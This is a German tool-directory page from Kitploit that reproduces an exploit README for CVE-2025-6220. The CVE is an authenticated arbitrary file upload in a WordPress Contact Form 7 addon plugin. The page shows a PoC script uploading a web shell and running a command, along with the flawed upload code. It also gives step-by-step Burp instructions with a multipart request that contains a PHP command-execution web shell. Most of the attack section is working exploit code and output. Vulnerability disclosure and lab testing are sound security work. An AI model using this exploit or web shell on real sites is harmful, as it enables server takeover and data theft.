Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-6220 — Ultimate Addons für Contact Form 7 <= 3.5.12 - Authentifiziert (Administrator+) Beliebiger Datei-Upload über 'save_options' | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-6220
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-6220

CVE-2025-6220

Ultimate Addons für Contact Form 7 <= 3.5.12 - Authentifiziert (Administrator+) Beliebiger Datei-Upload über 'save_options'

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Ultimate Addons für Contact Form 7 <= 3.5.12 – Authentifizierter (Administrator+) willkürlicher Datei-Upload über 'save_options'

Das Plugin Ultimate Addons for Contact Form 7 bereinigt die Dateitypen in seiner Optionenspeicherfunktion nicht, sodass Administratoren oder höher beliebige Dateien hochladen und möglicherweise Code-Ausführung auf dem Server erlangen können.

TL;DR Exploits

  • Ein POC CVE-2025-6220.py wird bereitgestellt, um zu demonstrieren, wie ein Administrator eine Webshell namens shell.php hochlädt.
root@kitploit:~
python3 CVE-2025-6220.py https://lab1.hacker admin PASSWORD

Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
70e7b99966
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 61299sec preferred_lft 61299sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86240sec preferred_lft 14240sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

Die uacf7_options_save-Funktionalität in /wp-content/plugins/ultimate-addons-for-contact-form-7/admin/tf-options/classes/UACF7_Settings.php verarbeitet Datei-Uploads, ohne die richtige Dateityp-Validierung durchzusetzen.

Die Zeilen 894-920 der save_options()-Funktion prüfen die HTTP-Anfrage auf $_FILES und validieren den MIME-Typ nur gegen ein generisches application/octet-stream. Anschließend wird die Datei in einem über das Web zugänglichen Verzeichnis /wp-content/uploads/itinerary-fonts gespeichert.

root@kitploit:~
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

Manuelle Reproduktion

  1. Melden Sie sich im Admin-Panel an und navigieren Sie zu Ultimate Addons -> Einstellungen.
  2. Starten Sie Burp Suite oder ein ähnliches Tool und beginnen Sie mit dem Abfangen des Datenverkehrs.
  3. Klicken Sie auf die Schaltfläche Speichern in der unteren rechten Ecke. test1
  4. Fangen Sie die POST-Anfrage in Burp ab und fügen Sie Ihre eigenen Dateidaten hinzu (stellen Sie sicher, dass Sie die richtigen Formulargrenzen verwenden).
root@kitploit:~
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2 5. Leiten Sie die Anfrage weiter und überprüfen Sie, ob die Antwort Erfolg anzeigt:

root@kitploit:~
{"status":"success","message":"Options saved successfully!"}
  1. Navigieren Sie zu https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php, um den Proof of Concept auszuführen. test3
Tool herunterladen